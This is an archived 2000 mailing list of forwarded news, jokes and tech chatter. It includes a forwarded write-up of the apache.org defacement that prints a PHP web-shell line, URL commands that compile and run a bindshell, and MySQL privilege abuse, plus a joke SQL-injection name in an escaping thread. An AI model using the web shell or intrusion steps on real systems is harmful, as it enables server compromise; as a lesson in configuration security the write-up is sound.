Ostankino and Badayevsky, met this week to work out a strategy to fight Intellect's claims. The outraged breweries are planning to file an appeal to Rospatent's appeal chamber challenging Intellect's bid to make them pay royalties for items they have been using for decades. They accuse Rospatent of not performing due diligence and Intellect of setting out to swindle the industry. "It smacks of an intellectual racket," said Tatyana Vakhnina of the patent law firm Center-Innotek, which is advising Ochakovo brewery. "We think this patent is not legitimate and we will ask the appeal chamber to annul it. It [the patent application] was written so cleverly that it will be difficult to overturn. But we have 100 percent confidence that we will release our clients from the obligation to pay," Vakhnina said in a telephone interview. Ochakovo director Alexei Kochetov was unavailable for comment. Vakhnina said the bottle patent rewarded the creativity in the writing of the patent application. The application was formulated in such complicated language that, at first, even engineers were baffled, she said. Intellect's argument is based on geometrical features that are inherent to all containers, Vakhina said. "It's Euclidean geometry. It could be applied to an amphora," she said. "The invention is defined in such a way that it embraces 90 percent of containers." Valery Dzhermakyan, deputy director of the Federal Institute of Industrial Property, said Intellect is interpreting the patent too
Fw: Fwd: interesting culinary database
--- F R E N D Z of martian --- -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - - Original Message - From: "Allen Leibowitz" [EMAIL PROTECTED] To: "Recipient list suppressed" @marsbard.com Sent: Monday, June 26, 2000 5:50 PM Subject: GeeK: Fwd: interesting culinary database Date: Thu, 22 Jun 2000 16:23:54 -0700 (PDT) From: [EMAIL PROTECTED] (Carl Shapiro) To: [EMAIL PROTECTED] Subject: interesting culinary database X-Sun-Charset: US-ASCII http://www.tdcj.state.tx.us/stat/finalmeals.htm -BEGIN PGP SIGNATURE- Version: PGPfreeware 6.5.1 Int. for non-commercial use http://www.pgpinternational.com iQA/AwUBOVeQYJ/fHXYJkzo2EQJ7pwCfcRoEldPozqKjWMUz30giE+R6zPAAoPJ5 uQCwAOwDCjkjcR9UY1QhIb+X =K3/u -END PGP SIGNATURE- -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
worm
--- F R E N D Z of martian --- -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 === This worm works on the honor system If you are running a Macintosh, OS/2, Unix or Linux computer, please randomly delete several files from your hard disk drive and forward this message to everyone you know. == -BEGIN PGP SIGNATURE- Version: PGPfreeware 6.5.1 Int. for non-commercial use http://www.pgpinternational.com iQA/AwUBOVXMcp/fHXYJkzo2EQJt7ACfQH5HSgCFZG9r11XX76soSD0h8RgAoOvh TZrDQRhXFl44ILWXXcXRON7I =zzYb -END PGP SIGNATURE- -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Evil Hackers attack nice Narco-Politicians
--- F R E N D Z of martian --- -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 "Narco News Commentary: If the hackers succeed in breaking the code before the July 2nd election, the Mexican people will have, for the first time, knowledge of the interlocking world of bank corruption, campaign finance, drug money and electoral fraud." http://www.narconews.com/hackers1.html - -- Martin Cosgrave Appdev Ltd - http://appdev.co.uk 0117 902 3143 -BEGIN PGP SIGNATURE- Version: PGPfreeware 6.5.1 Int. for non-commercial use http://www.pgpinternational.com iQA/AwUBOVHhlJ/fHXYJkzo2EQLZzACbBZRpw73OGOQTkGaSS6P7jTM38DUAoMLx vxXADoIj+3qUBVfPE4RVctXh =X6QA -END PGP SIGNATURE- -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Re: Clive Sinclair was right all along...
--- F R E N D Z of martian --- -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Slightly better pic :-) http://imaging-resource.com/NPICS1/1GBMICRODRIVE_1_S.JPG --- F R E N D Z of martian --- http://a.r.tv.com/cnet.1d/Images/News/Pt/2000/06/0620ibmmicrodrive.j g -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/ -BEGIN PGP SIGNATURE- Version: PGPfreeware 6.5.1 Int. for non-commercial use http://www.pgpinternational.com iQA/AwUBOVEOwp/fHXYJkzo2EQIs/ACg0dnc2bZsNP6dIQ1t1DhOz+UcZ8IAoNah spsD4zf2npFzxJPl0LhMo2s1 =GEI2 -END PGP SIGNATURE- -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Water found on Mars
--- F R E N D Z of martian --- -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - IUFO Mailing List Source: Spaceflight Now June 21, 2000 Water found on Mars Confirming what scientists had long theorized, NASA is expected to announce next week that water has been found on Mars. The discovery, if true, would have profound implications about whether there is or was life on the Red Planet. The Mars Global Surveyor spacecraft currently orbiting the planet made the detection, according to a BBC news report today. MGS was launched in 1996 to map the Martian surface. The report said evidence of liquid surface water was detected "in the central part of the mighty Valles Marineris, the 6,000 km long (3,700 miles) canyon that scars the Martian surface." Images taken by MGS show blackish, or dirty, water seeping from beneath the surface in an area of layered terrain and pooling. The report said the seepage could occur only seasonally, explaining why it had not been seen in all images taken of the region. Because the Martian atmosphere is too thin, water is unable to exist on the planet's surface today. However, central parts of the Valles Marineris canyon are a few miles lower than the rest of the surface, giving credence to higher atmospheric pressure and the suspected water seepage. Meanwhile, other scientists say they might have found similar water seepage on the walls of at least two craters in other parts of the planet Mars, the BBC report went on to say. Rumors about the discovery were initially reported by the NASA Watch Web site earlier this week, which said the White House had been briefed on a major finding by MGS. The site later reported a paper was being prepared for the upcoming issue of the journal Science. NASA's long-term Mars exploration program, which suffered the loss of two robotic missions last year, has been geared toward finding water on Earth's neighbor. Vast oceans are believed to have once flowed on Mars and scientists have suspected some water might still be trapped below the planet's surface. The ill-fated Mars Polar Lander probe was headed for the Martian south pole last December to dig for water ice just below the surface. But the craft crashed. Water is considered the cornerstone to life, and NASA's Mars research efforts have been dedicated to find evidence of past of present water. Such a discovery of water, space agency officials have said, would be a major step forward in answering the question of where life has ever existed on the planet closest to Earth. A NASA science briefing is tentatively scheduled for 2 p.m. EDT (1800 GMT) on Thursday, June 29. Mark -BEGIN PGP SIGNATURE- Version: PGPfreeware 6.5.1 Int. for non-commercial use http://www.pgpinternational.com iQA/AwUBOVF2V5/fHXYJkzo2EQJRzACeIQqujDPyuUosuLT8UijNDszwD/AAnA5y qjRjykLmShzfdyPJ20S7i1gA =L/Wj -END PGP SIGNATURE- -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Noo chewnz
--- F R E N D Z of martian --- I did a coupla new tunes last weekend, one 'Duly', has duly appeared at http://mp3.com/martian/ The other, 'This is... the Ultimate' has been placed 'on hold' by the mp3.com, without explanation as yet. I suspect it's because there are a large number of spoken samples in it and they're questioning the copyright issues, even though there's a not with the description that says 'samples courtesy of samplenet.co.uk' - a free sample repository. Anyway, I'm uploading it to marsbard.com. ftp://marsbard.com/pub/ultimate.MP3 It's 7709257 bytes long, so don't go downloading it if it isn't that long yet... At ~2k a second it's threatening to take until about 4.15 BST to be fully uploaded - longer if it doesn't quite get there and has to restart [resume isn't supported :-( ] BTW I used the phantastic Buzz Tracker (http://www.jeskola.com/ ) to make both these tunes. Musos check it - out digital emulation of analogue synthesis. martian -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Re: The web and Irish names
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Crappy coding - apostrophes break SQL ("insert into names (surname)
values
('O'Callaghan')" - as you can see there's a disparity of apostrophes -
SQL
will stop after 'O' and see an unknown command "Callaghan" and die
maybe I should change my name to johnO'fdisk then. : )
LOL! John O';Delete from tbl_users might be better ;-)
martian
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Fw: nettime Howl.com
--- F R E N D Z of martian --- - Original Message - From: "Thomas Keenan" [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Wednesday, June 14, 2000 3:13 AM Subject: nettime Howl.com Howl.com (with apologies to Allen Ginsberg) By Thomas Scoville March 22, 2000 I saw the best minds of my occupation destroyed by venture capital, burned-out, paranoid, postal, dragging themselves through the Cappuccino streets of Palo Alto at Dawn looking for an equity-sharing, stock option fix, HTML-headed Web-sters coding for the infinite broadband connection to that undiscovered e-commerce mother lode in the airy reaches of IP namespace, who poverty and ripped Yahoo tee shirts, cubicle-eyed and wired on Starbucks sat up surfing in the virtual ether of one-million-dollar, one-bathroom condos next to the railroad tracks, skipping across the links of killer Web sites contemplating ... Java, who rammed their brains into compilers and saw Intel angels staggering on microchips under the insane weight of investor expectation, who blew off the search for Truth for as-yet-undreamed New Economy scams, business models hallucinating infocapitalist messiahs on clouds of market cap, who abandoned lucid dreams of a Better Way for Shockwave fluff and RealAudio baubles dangling from the buggy venality of digital commerce, who, while haunted by the scowling ghosts of hackers past -? Stallman, Nelson, Engelbart ?- auctioned their immortal souls on eBay, with documentation and a full year of support included, of course, who got busted in their spotless Nike cross-trainers traveling through cyberspace with a file of illegal crypto for Open Source, who ate sushi in Austin or drank microbrews in Silicon Alley, jousting with bad mojo funk of layoffs, Chapter 11, or diluted company stock night after night, who chained themselves to start-ups for the endless ride from San Jose to Wall Street on adrenaline and Evian, laptop batteries flaming out over Oklahoma, no more vegetarian entrees, sir, would you like the latex omelet instead? endless nights of keyboard grinding and corporate microwave popcorn and Jolt Cola until the noise of their own deadlines brought them down, gawping, convulsing, mute, crushed beneath their own project plans, who talked continuously about convergence and distributed control and cluetrains and Y2K and extropians and Libertarians and Microsoft and Linux and slashdot and wouldn't fucking shut up, who pointed their browsers at Red Herring and Slate and Salon.com hoping against hope that somebody might be able to make sense of the infinitely perverse, ball-busting, soul-scorching, silicon-supernova black hole that kept them awake all night every night and wouldn't let them alone long enough to find dates in this lifetime, who tattoo'd and pierced and dyed and branded themselves in a desperate act of self-mutilating cyber-hepster cool, all the while wearing a suit and tie on the inside they could never, ever take off, and praying nobody would find out about the MBA, who renounced the smokestack relics, the old guard and their father's Oldsmobile only to find that they had been replaced by artifacts even less substantial, who chanted the free market mantras of laissez-faire and techno-darwinism and Adam Smith's invisible hand-job except when Big Bad Bill the Bully Gates-of-hell came to take away their lunch.com -- and became Socialists of Convenience.org, who stalked investment bankers through Bistros and wine bars and martini lounges, begging pleading groveling for one more hit of funding from the luminous check-book oh please oh please oh please ahh, Bill, you are not safe, I am not safe, and now we languish in the dot com pressure cooker hoping for one last buzz of the old hallucinations. The wrecked avenues, the sullied conduits, the pinched pipes of a quadrillion dropped and ruined packets. The world wide waits, the denials of service, the infinite hosts of hardcore farm-animal boredom, ghoulish domain-name squatters jumping out from behind every virtual tree. These failed revolutions, these paradigms lost, the end of Web Time, and P/E ratios good to last the next thousand years. Dot com! Dot com! Dot com! forever, and ever, ka-Ching == # distributed via nettime: no commercial use without permission # nettime is a moderated mailing list for net criticism, # collaborative text filtering and cultural politics of the nets # more info: [EMAIL PROTECTED] and "info nettime-l" in the msg body # archive: http://www.nettime.org contact: [EMAIL PROTECTED] -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Fw: [_] early friday stuff......
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Re: The web and Irish names
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Well Theodopolis, glad to see you've chosen the sensible route and changed
your name...
I don't know about NTLworld - I just realised the contractor I know in NTL
is on this list (hi phil) and someone else from a different bit of NTL gets
the digest (hi rachel) so maybe they can get it fixed :-) unlikely though,
at a guess...
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Sent: Thursday, June 08, 2000 11:26 PM
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Thanx for the explaination
A decent explaination is what I asked for and that is just what I got
and a bit of perl into the bargain ; )
I am that good at perl yet but at Least Irish people (and people with
spainish addresses) will be ok with my database and scripts.
[snip]
If this happened to be in the WebTV part of ntl I could probably get it
fixed as I know a contractor there.
[snip]
Well it is part of the ntlworld.com is that the same dept.? I have
mentioned it them but It is still %27 on the maillist.
but hey, 0800 net access and national calls and local rates you can call
me
"theodopolis aardvark" for all I care!
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Support status: closed
Problem: User error in name
Outcome: Dispatched deed poll form
- Original Message -
From: John O'Callaghan [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Thursday, June 08, 2000 5:30 PM
Subject: The web and Irish names
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Dear Frendz of marsbard
Can anyone explain why the Web does not like Irish names.
my surname is O'Callaghan
Crappy coding - apostrophes break SQL ("insert into names (surname)
values
('O'Callaghan')" - as you can see there's a disparity of apostrophes -
SQL
will stop after 'O' and see an unknown command "Callaghan" and die.
Which
is
why it has to be escaped "insert into names (surname) values
('O\'Callaghan')" (backslash) or "insert into names (surname) values
('O''Callaghan')" (double) dependent on the server
but ntl have it has O%27Callaghan
If this happened to be in the WebTV part of ntl I could probably get it
fixed as I know a contractor there.
compfutures made it O\"\"Callaghan
stupid escape... shoot the coders
and quite a few have just choked
didn't anticipate any names with apostrophes...
Is an a apostrophe really that difficult to deal with?
or is it just lazy script writers only going for A-Z ?
I know that it is a perl script thing the %27 thing (please correct me
if
I
am wrong)
URL-escaped apostrophe
but a decent explaination would be nice.
the last thing you want is a load of angry Irish surfers!
Thanx in advance
John
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Fw: nettime China arrests Internet editor
--- F R E N D Z of martian --- The Chinese government are at it again - Original Message - From: Lessard, George [EMAIL PROTECTED] To: L Nettime-L (E-mail) [EMAIL PROTECTED] Sent: Wednesday, June 07, 2000 2:34 PM Subject: nettime China arrests Internet editor --- China arrests Internet editor - The man who launched China's first human rights website has been arrested and accused of attempting to overthrow the state. Huang Qi and his wife were taken from their home in the city of Chengdu last Saturday after articles commemorating the 1989 Tiananmen crackdown were published on his website. The arrests came on the eve of the 11th anniversary of the bloody suppression of the pro-democracy movement. His wife, Zeng Li, was released three days later, but she says her husband continues to be held and has now been charged with subversion. One of the items published on Mr Huang's website was a letter from the mother of a young student killed during the demonstrations. It accused police of beating her son to death. Hundreds, possibly thousands, of people were killed as the Tiananmen Square movement was suppressed in 1989. Mr Huang's arrest is another sign of just how nervous the Chinese Government is about the explosive growth of the Internet, and, in particular, with its use by dissident groups to disseminate information the authorities consider subversive. Source: http://news.bbc.co.uk/low/english/world/asia-pacific/newsid_78/780787.st m - BBC News From Via Thanks to *** LOOK BACK: Media News is archived at http://www.ejc.nl/mn/searchnews.asp and searchable on keyword. * Visit the European Journalism Centre website at http://www.ejc.nl for information on training activities, EJC publications and useful tools for journalists. For Subscribe/Unsubscribe/Suggestions contact Herman Pijpers at: mailto:[EMAIL PROTECTED] # distributed via nettime: no commercial use without permission # nettime is a moderated mailing list for net criticism, # collaborative text filtering and cultural politics of the nets # more info: [EMAIL PROTECTED] and "info nettime-l" in the msg body # archive: http://www.nettime.org contact: [EMAIL PROTECTED] -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Linux users!
Linux users - switch to kernel 2.2.16 asap (http://www.kernel.org/pub/linux/) http://sendmail.net/?feed=000607linuxbug
Fw: GeeK: The Victorian Internet
--- F R E N D Z of martian --- -- Martin Cosgrave Appdev Ltd - http://appdev.co.uk 0117 902 3143 - Original Message - From: Eric Myers [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Friday, May 19, 2000 11:11 PM Subject: GeeK: The Victorian Internet While on vacation I found an interesting book that people on this list might enjoy. (Sorry for the "book report" format, it's the best I could do.) "The Victorian Internet" by Tom Standage (Berkley Books, 1998) [paperback edition of Oct 1999 is $12] This is the history of the Telegraph, which bears some surprising and some not so surprising similarities to the Internet. The book starts with the technical development of telegraphy, first optical(!) and then electrical, and then describes the social effects of the new invention, up until it was replaced by the telephone. Although Standage emphasizes that there are great similarities between the telegraph and the Internet, he doesn't actually go into them much until the very end of the book. Even so, anybody familiar with the Internet will see the similarities without having them pointed out. Telegraphy changed in a fundamental way how information was (and is) exchanged. Many businesses found that they had to use it or they would fall behind their competitors. Media companies first ignored it, then feared it, then embraced it. Those working in this new industry had to overcome both technical difficulties and attract funding from either governments or venture capitalists. Many start-ups failed. A small elite developed around the technology, with their own customs and jargon and a distaste for uneducated outsiders. Romances blossomed and even weddings took place over the wires. New ways were found both to solve and to commit crimes using this new invention. Codes and ciphers were used both to improve throughput and to prevent eavesdropping. The telegraph was seen by many as a tool of peace that would unite the different peoples of the world. It changed the way war was conducted and the way the military dealt with information in peacetime. It also paved the way for a succeeding technology (the telephone). After reading this book I find it an interesting exercise to take any claim about the effects of the "Internet" and swap in the word "Telegraph". The result is invariably either "yup, that happened" or "yup, they thought that back then too". It's also amusing to try this out, in reverse, on the preceeding paragraph. The most interesting parallel I found was in the monopoly held by the Western Union company, then run by president William (another Bill?!) Orton. According to Chapter 10: By 1880, Western Union handled 80 percent of the country's messaging traffic, and was making a huge profit Western Union insisted that its monopoly was in everyone's interests, even if it was unpopular, because it would encourage standardization. Microsoft has tried to use the same argument to justify their monopoly. Some things truly never change. There is little analysis or opinion in this book, save for the final chapter which makes some comparisons to the Internet. Other than that and the title, the book is really a brief history of the development and impact of the electric telegraph, with several pages of bibliography. At just over 200 short pages (for the new paperback version) "The Victorian Internet" is a quick and interesting read. Eric Myers [EMAIL PROTECTED] High Energy Theoretical Physics http://www.umich.edu/~myers Department of Physics Tel: 734-763-4325 University of Michigan, Ann Arbor Fax: 734-763-2213 -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Real news from the Mayday protest
--- F R E N D Z of martian --- (Fw: SchNEWS 258, Friday 5th May 2000) [ --8-- snipped the contact/begging bit but I put it in again at the bottom :-) ] wake up! wake up! wake up! wake up! The writing's on the wall SchNEWS ISSUE 258, FRIDAY 5th MAY, 2000 LAWN AND ORDER "As you would expect the MayDay message about why people were there got kind of lost. But what is a few smashed windows and some daubed paint compared to what global capitalism is doing to the planet?" An anonymous demonstrator Monday's MayDay demonstration in London nearly brought about the collapse of the British way of life. Apparently. SchNEWS was there and has a slightly different story to tell. In the morning landscape gardeners arrived for a spot of planting at Parliament Square. Bananas and magic mushrooms popped up amongst the pansies and spinach, while large banners declared 'The Worms Will Turn!', 'Let London Sprout', and 'Capitalism is Pants'. The cops had helpfully flooded the square the night before, making it easier to roll up the turf and start laying it over the road. Up went a Maypole and the celebrations began. As Big Ben chimed, SchNEWS wondered how long it was since such traffic-free revelry had happened in front of the Houses of Parliament. Further up the road a McDonalds was getting the customary trashing, before riot police moved in, splitting the crowd in two and trapping hundreds of people in Trafalgar Square for hours. The police had taken a bloody nose at last year's Carnival Against Capital on June 18th (see SchNEWS 217/8) and were in no mood for a repeat performance. Even the army were apparently on standby (eh, aren't the army always on stand-by?), while according to the Financial Times, more than 80 per cent of financial institutions were 'concerned about the damage to the City's standing' if there was any repeat of last June's Carnival Against Capital. As one person from Reclaim The Streets commented, 'The police made sure that everybody knew they were planning the biggest operation for 30 years. Just to keep some gardeners in fancy dress under control.' The police and press hyped the event, and eventually they got what they wanted. A few smashed windows, some graffiti, some people throwing beer cans and hey presto! 'MAYDAY BLOODBATH ORGY - END OF CIVILISATION AS WE KNOW IT - HALF CHEWED BABIES RIPPED APART BY ANARCHISTS FROTHING AT THE MOUTH.' And what about the cenotaph. Maybe it needs a little bit of perspective. Tony Blair talks about the 'mindless thuggery' of Monday, yet didn't he personally invite Russia's President Putin over to Britain, conveniently forgetting that on the orders of the President, Russia has bombed Chechnya back into the Dark Ages? Forget about the 20,000 dead Chechnyans, as Putin gets whisked off to have tea with the Queen. And it's gonna take a lot more than a little detergent to clean up Chechnya. So let's keep this in proportion, no one at the Mayday celebration is to be charged with genocide, child killing or mass murder. Yet behind the hysteria, comments from the politicians reveal that something else is on the agenda. Blair says "This kind of thing cannot happen again", while Home Secretary Flan Widdecombe asked in the House of Commons the day after MayDay "Would the groups concerned with yesterday's disorder be covered by his new definition of terrorists under his (Jack Straw's) new terrorism legislation?". SchNEWS reckons the public is ripe to accept that no more anti-capitalist protests will be allowed to happen again. For more thoughts on the day check out www.indymedia.org.uk * Did you get arrested on the day? Did you witness any arrests? Then let the Legal Defence and Monitoring Group know. BM Haven, London WC1N 3XX 020 7837 1688. * International report back on what happened at Mayday on Sat 13th with food, bookstall and filmshowings. Meet 3pm Unemployed Centre, 6 Tilbury Place, Brighton. * There will be meetings throught London during May to develop ideas around Guerrilla gardening. 020 8374 9885 for info. * Anaroks - did you know? It will be five years on Sunday 14th May since Reclaim The Streets held their first street party in Camden High Street. * And remember this after the 2nd RTS on 28th July '95? 'If peaceful protesters are baton charged by riot police, they are more likely to turm up to the next demos more prepared and equipped to fight back if attacked' (SchNEWS 33). * Compare and contrast the riots in Guatemala to the 'riots' in London. In Guatemala, there were four dead and 16 injured in the capital city after bus operators raised fares by 3p (about a third). Buses were burned, shops and riot police attacked with stones who responded with water cannon and tear gas. The rises have now been scrapped.
DJ scratch simulator
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Email services
--- F R E N D Z of martian --- Dictionary(?) definitions - send a mail with words to seek definition of in the subject [EMAIL PROTECTED] Stock market quotes - mail ticker symbol to: [EMAIL PROTECTED] 'Beeper' - send a mail with a body like this: --8-- Date: 4/5/2000 Time: 12:30pm msg: Go get a present for mom's birthday email: [EMAIL PROTECTED] --8-- to [EMAIL PROTECTED] That last one could come in handy in association with an email to sms service like genie.co.uk. Only trouble is it's EST which is what, 5 hours behind the UK... just have to do a bit more maths. Maybe I'll set something like that up on a machine in the UK... -- Martin Cosgrave Appdev Ltd - http://appdev.co.uk 0117 902 3143 -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Fw: [webcoders] Fwd: How we defaced www.apache.org
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Hafta read this again when I've got the head for it, but it looks
important... and informative.. and interesting.
Might be a bit complicated, but lots of info in there, especially for ppl
(like me) running Apache and mysql.
martian
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How we defaced www.apache.org
by {} and Hardbeat
/*
* Before you start reading
*/
This paper does _not_ uncover any new vulnerabilities. It points out
common
(and slightly less common) configuration errors, which even the people at
apache.org made. This is a general warning. Learn from it. Fix your
systems,
so we won't have to :)
/*
* introduction
*/
This paper describes how, over the course of a week, we succeeded in
getting root access to the machine running www.apache.org, and changed
the main page to show a 'Powered by Microsoft BackOffice' logo instead
of the default 'Powered by Apache' logo (the feather). No other changes
were made, except to prevent other (possibly malicious) people getting
in.
Note that the problems described in this paper are not apache-related,
these were all config errors (one of 'm straight from BugZilla's README,
but the README had enough warnings so I don't blame the BugZilla
developers).
People running apache httpd do not need to start worrying because of
anything uncovered herein.
We hacked www.apache.org because there are a lot of servers running
apache
software and if www.apache.org got compromised, somebody could backdoor
the apache server source and end up having lots of owned boxes.
We just couldn't allow this to happen, we secured the main
ftproot==wwwroot
thing. While having owned root we just couldnt stand the urge to put that
small logo on it.
/*
* ftproot == wwwroot
* o+w dirs
*/
While searching for the laters apache httpserver to diff it the with
previous version and read that diff file for any options of new buffer
overflows, we got ourselves to ftp://ftp.apache.org. We found a mapping
of
the http://www.apache.org on that ftp including world writable
directories.
So we wrote a little wuh.php3 including
?
passthru($cmd);
?
and uploaded that to one of the world writable directories.
/*
* Our commands executed
*/
Unsurprisingly, 'id' got executed when called like
http://www.apache.org/thatdir/wuh.php3?cmd=id
Next was to upload some bindshell and compile it like calling
http://www.apache.org/thatdir/wuh.php3?cmd=gcc+-o+httpd+httpd.c and then
executing it like calling
http://www.apache.org/thatdir/wuh.php3?cmd=./httpd
/*
* The shell
*/
Ofcourse we used a bindshell that first requires ppl to authenticate with
a hardcoded password (:
Now we telnet to port 65533 where we binded that shell and we have local
nobody access, because cgi is running as user nobody.
/*
* The apache.org box
*/
What did we find on apache.org box:
-o=rx /root
-o=rx homedirs
apache.org is a freebsd 3.4 box. We didn't wanted to use any buffer
overflow or some lame exploit, goal was to reach root with only
configuration faults.
/*
* Mysql
*/
After a long search we found out that mysql was
running as user root and was reachable locally. Because apache.org was
running bugzilla which requires a mysql account and has it
username/password plaintext in the bugzilla source it was easy to
get a username/passwd for the mysql database.
We downloaded nportredird and have it set up to accept connections on
port 23306 from our ips and redir them to localhost port 3306 so we could
use our own mysql clients.
/*
* Full mysql access
* use it to create files
*/
Having gained access to port 3306 coming from localhost, using the login
'bugs' (which had full access [as in "all Y's"]), our privs where
elevated substantially. This was mostly due to sloppy reading of the
BugZilla
README which _does_ show a quick way to set things up (with all Y's) but
also has lots of security warnings, including "don't run mysqld as root".
Using 'SELECT ... INTO OUTFILE;' we were now able to create files
anywhere, as root. These files were mode 666, and we could not overwrite
anything. Still, this seemed useful.
But what do you do with this ability? No use writing .rhosts files - no
sane rshd will acc
Fw: GeeK: Bar-coding the Real World with URLs
--- F R E N D Z of martian --- I knew there was a good reason to start putting scanners into PDAs. This and scanning people's business cards that is... -- Martin Cosgrave Appdev Ltd - http://appdev.co.uk 0117 902 3143 - Original Message - From: Rohit Khare [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Thursday, May 04, 2000 5:51 AM Subject: GeeK: Bar-coding the Real World with URLs May 4, 2000 Scan the Headlines? No, Just the Bar Codes Encoding Technologies for Newspapers and Magazines Link Printed Page to Web Page By LISA GUERNSEY Readers of The Post and Courier, the daily newspaper in Charleston, S.C., may have noticed something peculiar about their paper this week. Tiny black marks, no wider or higher than a five-letter word in a news column, have been appearing throughout the pages since Monday. There is one under the weather map, another on the masthead, still more at the top of the business and local sections. These little symbols, which at first glance appear to be nothing more than smudges, provide a direct link between the newspaper and the Internet. Each mark is a miniature Universal Product Code for a Web address. When those U.P.C.'s, or bar codes, are read by a handheld scanner connected to a computer, a Web page pops up on the screen. The bar code under the weather map, for example, takes readers to the weather page on the newspaper's Web site. Alan H. Seim, director of Internet operations at The Post and Courier, considers the bar codes a much-needed solution to a problem that newspapers and their readers have been facing since the dawn of the Web: the awkwardness of printing and typing (let alone remembering) a new Web address. "You just beep on this thing and you're there," Mr. Seim said. But the tiny bar codes are more than just a print-based replacement for long Web addresses. They are one of several new technologies that create hyperlinks for the physical world, establishing a direct connection between static objects and the ever-changing Internet. With these links, magazines, books, postcards, product packages -- any imaginable artifacts with room for bar codes -- could become on-ramps to Web pages that offer related reports, movies, sound clips or online order forms. The Post and Courier is the first newspaper in the country to experiment with the miniature-bar-code technology. This month, Charleston residents who sign up as testers will receive free handheld scanners so they can activate the bar codes and jump straight to the corresponding Web sites. GoCode, the Charleston company that developed the technology, will also put the codes in several catalogs in the next few months, and more free handheld scanners will be distributed. By summer, observant readers of Wired magazine and Popular Mechanics may spot another version of these offline links. For them, the mark will not be a smudgelike bar code but a small logo with an uppercase "D" lurking on the lower outside corner of some pages. The D stands for Digimarc, a company that has developed a way to embed nearly imperceptible digital watermarks in printed text and photographs. When held up to a Webcam perched on a monitor, the watermarks tell the computer to display related Web pages. In June, Digimarc will offer free software that can be downloaded and integrated with software for the Webcams. By summer's end, company officials say, most Webcam manufacturers will have integrated the Digimarc software into their products. The company, meanwhile, is hoping to have signed contracts with more than 100 magazines that will use the watermarks. Bar codes of other shapes and sizes may also dot the pages of print publications soon. Belo, a media company in Dallas, announced that it would incorporate bar codes into some of the pages of its newspapers, which include The Dallas Morning News and The Providence Journal in Rhode Island. A bar code reader developed by DigitalConvergence.:Com, a hyperlink company, will be distributed to read those symbols and translate them into Web pages that appear on the screen. Belo's 17 television stations are also considering a version of the technology that uses sounds instead of symbols. To open a Web page, a television program could emit an audible tone that would send a signal to a computer that was connected to the television via audio cables. Those who have experimented with off line links say that they have potential to change the way people approach the Web. Until now, people who see a printed Web address have had to jot it down, tear out the corresponding page or try to remember the Web site's top-level domain name so they can search the site later. And once they remember to visit the sites, they often have to dig through multiple Web pages to find what they want. According to Internet analysts, most people give up
Metallica cites 335,435 Napster users
--- F R E N D Z of martian --- Metallica hired a net consultancy to grab the IP addresses of Napster users trading Metallica songs. They got a third of a million in a weekend. Metallica's lawyers are using this fact in their lawsuit agains Napster (the article doesn't say whether the IP addresses will be used as evidence). These bands should just get themselves some venture capital. Lastminute.com's backers seem happy to lose £11m in 12 weeks on the strength of future brand recognition... imagine the brand recognition of being the most pirated bands on the internet? (Dunno about Metallica but there is a lot of Dr Dre stuff hosted - he's another one suing Napster) http://zeropaid.com/news/0502/metallica.shtml The same site apparently had a Wall of Shame of Gnutella users searching for dodgy stuff but when I went there I got a 'permission denied' failure. -- Martin Cosgrave Appdev Ltd - http://appdev.co.uk 0117 902 3143 -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Re: CNN.com - Technology - Army wants to harness power of the Matrix - May 2, 2000
Title: CNN.com - Technology - Army wants to harness power of the Matrix - May 2, 2000 Has anyone read that Richard Bach book where (at some point in the future) wars get replaced by a kind of video-game virtual combat? The line in the article about the DoD's focus getting closer to that of the entertainment industry kind of reminded me of that... --Martin CosgraveAppdev Ltd - http://appdev.co.uk0117 902 3143 - Original Message - From: happy667 To: [EMAIL PROTECTED] Sent: Wednesday, May 03, 2000 7:57 PM Subject: CNN.com - Technology - Army wants to harness power of the Matrix - May 2, 2000 Cool!...I think...http://www.cnn.com/2000/TECH/computing/05/02/army.matrix.idg/index.html
Re: Bad Brits!
Title: Spying on Europe Of course you do realise that under the proposed new Terrorism laws, that hosting a list carrying these sorts of messages (and all theotherregularly posted conspiracy stuff) might be construed as threatening to the state andI could be classed as a terrorist and jailed... But I imagine Tony's site (http://www.bilderberg.org) would be up for the chop first :-) Tell ya what Tone, when me en you is in jail we is getting a cigarette consortium sorted, I? Innit. l8r --Martin CosgraveAppdev Ltd - http://appdev.co.uk0117 902 3143 - Original Message - From: happy667 To: [EMAIL PROTECTED] Sent: Wednesday, May 03, 2000 8:01 PM Subject: Bad Brits! http://www.economist.com/4mKTd8wG/editorial/freeforall/current/br9568.html BRITAIN Those perfidious Anglo spies Allegations that Britain helps America and others spy on its European allies have annoyed some across the Channel Search archive Links THIS is an Anglo-Saxon Protestant conspiracy. So much for Britains commitment to European solidarity; its real union is with America. So complained Jean-Claude Martinez, a French member of the European Parliament after a debate on eavesdropping by Britain and other English-speaking countries. Is electronic snooping in danger of driving a further wedge between Britain and its European allies? The spy system Mr Martinez decried, dubbed Echelon, has long been a target of conspiracy theorists and campaigners for civil liberties. They claim that western spies routinely gather and share private information by monitoring electronic communication and satellites. In particular, the Anglo-Saxons (American, Canada, New 